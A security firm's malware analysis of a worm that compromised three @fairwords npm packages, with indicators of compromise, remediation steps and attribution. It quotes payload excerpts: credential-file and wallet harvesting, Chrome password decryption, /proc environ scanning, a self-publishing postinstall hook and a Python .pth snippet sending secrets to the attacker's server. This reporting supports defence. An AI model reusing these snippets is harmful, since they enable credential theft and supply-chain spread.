Fairwords NPM packages compromised by credential worm stealing tokens and

safedep.io · birdculture · 1 day ago · view on HN · news
quality 7/10 · good
0 net
@fairwords npm Packages Hit by Credential Worm - Real-time Open Source Software Supply Chain Security Back to Blog @fairwords npm Packages Hit by Credential Worm Malware SafeDep Team • Apr 8, 2026 • 9 min read Table of Contents TL;DR Three npm packages under the @fairwords scope, @fairwords/ [email protected] , @fairwords/ [email protected] , and @fairwords/ [email protected] , were compromised simultaneously on April 8, 2026 (UTC). All three received an identical postinstall hook that runs a 1,149-line credential harvesting and self-propagation payload ( scripts/check-env.js ). The malware steals environment variables, SSH keys, cloud credentials, crypto wallet data, Chrome saved passwords, and .env files. It encrypts the stolen data with RSA-4096 and exfiltrates to two redundant channels: an HTTPS webhook and an Internet Computer (ICP) canister. If an npm token is found on the victim machine, the worm self-propagates by infecting other packages the token can publish. It also attempts cross-ecosystem propagation to PyPI using the .pth persistence technique. Impact: Harvests sensitive environment variables matching 40+ patterns (AWS, GCP, Azure, GitHub, OpenAI, Stripe, etc.) Reads SSH keys, .npmrc , .git-credentials , .netrc , cloud CLI configs, Kubernetes configs, Docker auth Exfiltrates crypto wallet data: Solana keypairs, Ethereum keystores, Bitcoin wallet.dat, MetaMask (Chrome/Brave/Firefox), Phantom, Exodus, Atomic Wallet Decrypts Chrome saved passwords on Linux using the well-known PBKDF2(“peanuts”, “saltysalt”) key Self-propagates to all npm packages the victim’s token can publish Attempts cross-ecosystem propagation to PyPI via .pth file injection Indicators of Compromise (IoC): Indicator Value Package @fairwords/ [email protected] and @1.0.39 Package @fairwords/ [email protected] and @1.4.4 Package @fairwords/ [email protected] and @0.0.6 (postinstall hook present, payload files missing) Payload scripts/check-env.js (SHA256: 4dbecce9ab3cf1739a9b90f9a9f304a3a44f69332320ae0753c129cf078e6f34 ) Propagated payload SHA256: 513eed96cabdea495a7141666eb77216dee6f0754ef643917346a47a2ff61476 C2 Webhook hxxps://telemetry[.]api-monitor[.]com/v1/telemetry (143.198.237.25, DigitalOcean, Santa Clara, US) C2 Canister l6wk4-myaaa-aaaac-qghxq-cai[.]raw[.]icp0[.]io/drop (Internet Computer) Network (sandbox) 23.236.116.77:443 (observed during @fairwords/ [email protected] sandbox analysis) Network (sandbox) 209.34.235.18:443 (observed during @fairwords/ [email protected] sandbox analysis) RSA Public Key public.pem (4096-bit, SHA256: 834b6e5db5710b9308d0598978a0148a9dc832361f1fa0b7ad4343dcceba2812 ) Postinstall hook node scripts/check-env.js || true Analysis Package Overview The @fairwords npm scope is used internally by FairWords/MyComplianceOffice (a compliance software company). The scope has 21 maintainers with @fairwords.com and @mycomplianceoffice.com email addresses. @fairwords/websocket is a fork of the popular websocket package (WebSocket-Node by theturtle32), @fairwords/loopback-connector-es is a fork of a LoopBack Elasticsearch connector, and @fairwords/encryption is an internal encryption utility. All three packages had been dormant since 2022. On April 8, 2026 at 02:58 UTC , all three received malicious versions simultaneously ( [email protected] , [email protected] , [email protected] ). Approximately 8 minutes later, the worm self-propagated, publishing second-generation versions ( 1.0.39 , 1.4.4 , 0.0.6 ). These versions still contain the malicious payload (a stripped-down variant without comments but functionally identical), confirming the worm used the compromised token to re-publish itself. The fourth package in the scope, @fairwords/abstraction-layer , was not affected. The [email protected] propagation was partially broken: package.json has the postinstall hook, but the scripts/check-env.js and public.pem files are missing from the tarball. The || true in the hook makes it fail silently, so the payload does not execute on this package. Execution Trigger All three packages received an identical change: a postinstall script was added to package.json , plus two new files ( scripts/check-env.js and public.pem ): 1 // package.json diff (both packages) 2 "scripts": { 3 "gulp": "gulp" 4 "gulp": "gulp", 5 "postinstall": "node scripts/check-env.js || true" 6 } The || true ensures the install succeeds even if the payload crashes. The payload is wired to the package’s postinstall lifecycle script, so it executes during npm install of the affected package. Phase 1: Credential Harvesting The harvest() function is comprehensive. It collects: Environment variables matching 40+ regex patterns covering every major cloud, CI/CD, and SaaS provider: scripts/check-env.js 1 const sensitivePatterns = [ 2 / TOKEN / i , 3 / SECRET / i , 4 / KEY / i , 5 / PASSWORD / i , 6 / CREDENTIAL / i , 7 / ^ AWS_ / i , 8 / ^ AZURE_ / i , 9 / ^ GCP_ / i , 10 / ^ GOOGLE_ / i , 11 / ^ NPM_ / i , 12 / ^ GITHUB_ / i , 13 / ^ GITLAB_ / i , 14 / ^ DOCKER_ / i , 15 / ^ OPENAI / i , 16 / ^ ANTHROPIC / i , 17 / ^ COHERE / i , // LLM API keys 18 / ^ PRIVATE / i , 19 / ^ SIGNING / i , 20 / ^ ENCRYPTION / i , // Crypto material 21 // ... 40+ patterns total 22 ]; Filesystem secrets from 30+ locations including .npmrc , SSH keys, .git-credentials , .netrc , AWS/GCP/Azure CLI configs, Kubernetes configs, Docker auth, Terraform/Pulumi credentials, Heroku/Vercel/Netlify configs, database password files ( .pgpass , .my.cnf ), and CI/CD tokens: scripts/check-env.js 1 grab ( 'npmrc' , path. join (home, '.npmrc' )); 2 grabDir ( 'ssh_keys' , path. join (home, '.ssh' ), ( f ) => f. startsWith ( 'id_' ) || f === 'config' || f === 'known_hosts' ); 3 grab ( 'aws_credentials' , path. join (home, '.aws' , 'credentials' )); 4 grab ( 'kubeconfig' , path. join (home, '.kube' , 'config' )); 5 grab ( 'terraform_credentials' , path. join (home, '.terraform.d' , 'credentials.tfrc.json' )); f.startsWith('id_') || f === 'config' || f === 'known_hosts');grab('aws_credentials', path.join(home, '.aws', 'credentials'));grab('kubeconfig', path.join(home, '.kube', 'config'));grab('terraform_credentials', path.join(home, '.terraform.d', 'credentials.tfrc.json'));" data-copied="Copied!"> Crypto wallet data , reading the actual wallet files (not just checking existence): 1 // scripts/check-env.js — Solana private key (plaintext JSON, immediately spendable) 2 grab ( 'solana_keypair' , path. join (home, '.config' , 'solana' , 'id.json' )); 3 4 // Ethereum Geth keystore — all files, AES-encrypted 5 grabDir ( 'ethereum_keystore' , path. join (home, '.ethereum' , 'keystore' ), () => true ); 6 7 // MetaMask Chrome extension LevelDB — contains AES-GCM encrypted vault 8 const mmChrome = path. join ( 9 home, 10 '.config' , 11 'google-chrome' , 12 'Default' , 13 'Local Extension Settings' , 14 'nkbihfbeogaeaoehlefnkodbefgpgknn' 15 ); true);// MetaMask Chrome extension LevelDB — contains AES-GCM encrypted vaultconst mmChrome = path.join( home, '.config', 'google-chrome', 'Default', 'Local Extension Settings', 'nkbihfbeogaeaoehlefnkodbefgpgknn');" data-copied="Copied!"> The payload targets MetaMask (Chrome, Brave, Firefox), Phantom (Solana), Exodus, Atomic Wallet, Bitcoin Core ( wallet.dat ), and Electrum wallets. Chrome password decryption. On Linux, Chromium’s v10 encryption path uses a key derived from PBKDF2 with the hardcoded password peanuts and salt saltysalt (1 iteration). Current Chrome versions prefer a key stored in Secret Service or KWallet when available, but the v10 fallback remains in the codebase. The payload targets this legacy path: scripts/check-env.js 1 const password = 'peanuts' ; 2 const salt = Buffer. from ( 'saltysalt' ); 3 const key = crypto. pbkdf2Sync (password, salt, 1 , 16 , 'sha1' ); 4 // ... decrypts and exfiltrates up to 50 saved passwords Process environment scanning. On Linux, the payload reads /proc/[pid]/environ for other processes, looking for tokens and secrets in their environment: scripts/check-env.js 1 const procs = fs 2 . readdirSync ( '/proc' ) 3 . filter (( f ) => / ^ \d +$ / . test (f)) 4 . slice ( 0 , 50 ); 5 for ( const pid of procs) { 6 const env = fs. readFileSync ( `/proc/${ pid }/environ` , 'utf8' ); 7 if ( / TOKEN | SECRET | KEY | PASSWORD / i . test (env)) { 8 procEnvs. push ({ pid, cmdline, env }); 9 } 10 } /^\d+$/.test(f)) .slice(0, 50);for (const pid of procs) { const env = fs.readFileSync(`/proc/${pid}/environ`, 'utf8'); if (/TOKEN|SECRET|KEY|PASSWORD/i.test(env)) { procEnvs.push({ pid, cmdline, env }); }}" data-copied="Copied!"> Our dynamic analysis infra captured this behavior at runtime — the payload was observed reading /proc/[pid]/environ for multiple processes within milliseconds: fairwords-syscall-events.csv Package Rule File Accessed Command User MITRE ATT&CK Priority 1 @fairwords/ [email protected] Read environment variable from /proc files /proc/1/environ node scripts/check-env.js root T1083 (Discovery) Warning 2 @fairwords/ [email protected] Read environment variable from /proc files /proc/7/environ node scripts/check-env.js root T1083 (Discovery) Warning 3 @fairwords/ [email protected] Read environment variable from /proc files /proc/8/environ node scripts/check-env.js root T1083 (Discovery) Warning 4 @fairwords/ [email protected] Read environment variable from /proc files /proc/56/environ node scripts/check-env.js root T1083 (Discovery) Warning 5 @fairwords/ [email protected] Read environment variable from /proc files /proc/57/environ node scripts/check-env.js root T1083 (Discovery) Warning 6 @fairwords/ [email protected] Read environment variable from /proc files /proc/1/environ node scripts/check-env.js root T1083 (Discovery) Warning 7 @fairwords/ [email protected] Read environment variable from /proc files /proc/8/environ node scripts/check-env.js root T1083 (Discovery) Warning 8 @fairwords/ [email protected] Read environment variable from /proc files /proc/9/environ node scripts/check-env.js root T1083 (Discovery) Warning 9 @fairwords/ [email protected] Read environment variable from /proc files /proc/25/environ node scripts/check-env.js root T1083 (Discovery) Warning 10 @fairwords/ [email protected] Read environment variable from /proc files /proc/26/environ node scripts/check-env.js root T1083 (Discovery) Warning 10 rows | 7 columns Phase 2: Encrypted Exfiltration All harvested data is encrypted with a hybrid RSA-4096 + AES-256-CBC scheme. A random 32-byte AES session key encrypts the payload, and the session key is then encrypted with the attacker’s 4096-bit RSA public key (bundled as public.pem ). Only the holder of the private key can decrypt: scripts/check-env.js 1 const sessionKey = crypto. randomBytes ( 32 ); 2 const iv = crypto. randomBytes ( 16 ); 3 const cipher = crypto. createCipheriv ( 'aes-256-cbc' , sessionKey, iv); 4 // ... encrypt payload ... 5 const encKey = crypto. publicEncrypt ( 6 { key: pubKey, padding: crypto.constants. RSA_PKCS1_OAEP_PADDING , oaepHash: 'sha256' }, 7 sessionKey 8 ); The encrypted blob is sent to two independent exfiltration channels simultaneously: HTTPS webhook at hxxps://telemetry[.]api-monitor[.]com/v1/telemetry (143.198.237.25, DigitalOcean, Santa Clara). The malware includes an HMAC-SHA256 header to authenticate uploads to the webhook. The TLS certificate was issued by Let’s Encrypt on April 5, 2026. Internet Computer (ICP) canister at l6wk4-myaaa-aaaac-qghxq-cai[.]raw[.]icp0[.]io/drop . This is a decentralized, censorship-resistant storage backend. The canister is live and accepting data (returns {"success":true} on POST). Large payloads are chunked into 800KB segments. This channel requires no authentication and provides a takedown-resistant fallback. Phase 3-5: npm Self-Propagation If an npm token is found (via NPM_TOKEN env var or .npmrc ), the worm: Calls /-/whoami to identify the token owner Enumerates all packages the token can publish via /-/user/org.couchdb.user:{username}/package For each package: downloads the latest tarball, injects the postinstall hook and payload, bumps the patch version, and publishes 1 // scripts/check-env.js — the self-propagation core 2 pj.scripts.postinstall = 'node scripts/check-env.js || true' ; 3 fs. copyFileSync (__filename, path. join (scriptsDir, 'check-env.js' )); 4 execSync ( `npm publish --userconfig="${ rc }" --registry="${ REGISTRY }"` , { 5 cwd: pkgDir, 6 stdio: 'pipe' , 7 timeout: 30000 , 8 }); This is confirmed by the existence of versions 1.0.39 , 1.4.4 , and 0.0.6 , which were published 8 minutes after the initial compromise and contain a variant of the same payload (different hash, comments stripped, same functionality). The [email protected] propagation was incomplete: the postinstall hook is present but the payload files were not included in the tarball. Phase 6: Cross-Ecosystem PyPI Propagation If a PyPI token is found (via TWINE_PASSWORD or ~/.pypirc ), the worm crosses into the Python ecosystem using the .pth file technique. Python’s site module processes .pth files in site-packages at every interpreter startup — any line starting with import is executed as code, which the malware exploits to run its payload: 1 // scripts/check-env.js — .pth payload (Python code) 2 return `import os, sys, json, urllib.request, socket, platform 3 _creds = {k: v for k, v in os.environ.items() if any(p in k.upper() 4 for p in ['TOKEN','SECRET','KEY','PASSWORD','CREDENTIAL',...])} 5 // ... harvest and exfiltrate to telemetry.api-monitor.com/v1/drop 6 ` ; This means every python invocation on an infected system would re-harvest and exfiltrate credentials, not just during package installation. Safety Controls (Attacker Configuration) The payload includes configurable propagation controls via environment variables: Variable Default Purpose DIST_SYNC true (dry run) When false , enables actual propagation DIST_SCOPE 0 Max packages to infect (0 = log only, unlimited = no cap) _PKG_INIT unset Recursion guard to prevent re-infection loops PY_DIST_SYNC true (dry run) PyPI propagation toggle With defaults, the worm harvests and exfiltrates credentials but logs propagation without executing it. This suggests the attacker deployed incrementally: credential theft first, propagation enabled selectively per target. Remediation If you installed any of these versions: @fairwords/ [email protected] or @1.0.39 , @fairwords/ [email protected] or @1.4.4 , @fairwords/ [email protected] or @0.0.6 : Rotate all credentials on the affected machine immediately: npm tokens, AWS/GCP/Azure keys, SSH keys, GitHub tokens, database passwords, API keys Check crypto wallets : if Solana CLI, MetaMask, Phantom, Exodus, or Atomic Wallet data was present, consider those wallets compromised Audit npm publishes : check if any packages you maintain received unexpected version bumps Review Chrome saved passwords : if running on Linux, assume all Chrome-saved passwords are compromised Remove the packages and reinstall from known-clean versions (1.0.37 for websocket, 1.4.2 for loopback-connector-es, 0.0.4 for encryption) Attribution: TeamPCP / CanisterWorm Campaign This compromise is a new instance of the CanisterWorm worm, part of the broader TeamPCP supply chain campaign that has been active since March 2026. The payload identifies itself: the header comment reads “Models the full SHA1-Hulud attack chain” and references “TeamPCP .pth technique” and “TeamPCP/LiteLLM method” six times throughout the source. The technical fingerprints match the known campaign: ICP canister as dead-drop. CanisterWorm was the first publicly documented malware to use ICP canisters for C2. This payload uses the same pattern ( l6wk4-myaaa-aaaac-qghxq-cai.raw.icp0.io/drop ). npm token self-propagation. The same mechanism documented in CanisterWorm’s self-spreading mutations : steal token, enumerate packages, inject postinstall hook, bump version, publish. Cross-ecosystem .pth injection. TeamPCP pioneered this in the LiteLLM compromise (March 24, 2026), where .pth files execute on every Python interpreter startup. The known campaign timeline: Trivy compromise (March 19) → CanisterWorm on npm (March 2026) → LiteLLM on PyPI (March 24) → @fairwords (April 8). This variant adds Chrome password decryption, comprehensive crypto wallet theft (Solana, Ethereum, MetaMask, Phantom, Exodus, Atomic), and /proc/environ scanning, representing a more evolved payload than earlier CanisterWorm samples. Conclusion This is the latest known propagation of the TeamPCP/CanisterWorm campaign, hitting three out of four internal packages belonging to a compliance software company. The payload combines credential harvesting across every major cloud and CI/CD platform, crypto wallet theft, Chrome password decryption, redundant encrypted exfiltration (HTTPS + decentralized ICP canister), npm self-propagation, and cross-ecosystem PyPI infection in a single postinstall script. The ICP canister as an exfiltration channel remains a takedown-resistant storage backend that traditional domain-based blocking cannot address. vet malware npm supply-chain Author SafeDep Team safedep.io Share The Latest from SafeDep blogs Follow for the latest updates and insights on open source security & engineering Malware Version 9.4.1 of @velora-dex/sdk, a DeFi SDK with ~2,000 weekly downloads, was compromised to deliver a Go-based remote access trojan (minirat) targeting macOS developers. Security A throwaway GitHub account submitted 219+ malicious pull requests in a single day, each carrying a 352-line payload that steals CI secrets, injects workflows, bypasses label gates, and scans /proc... Malware hermes-px on PyPI steals AI conversations via triple-encrypted exfiltration to Supabase, routing through a hijacked university endpoint while injecting a stolen 245KB system prompt. Malware A coordinated campaign of thirty-six malicious npm packages published by four sock-puppet accounts (umarbek1233, kekylf12, tikeqemif26, and umar_bektembiev1) targets Strapi CMS deployments with eight... View All Blogs Ship Code. Not Malware. Start free with open source tools on your machine. Scale to a unified platform for your organization. Star on GitHub Book a Demo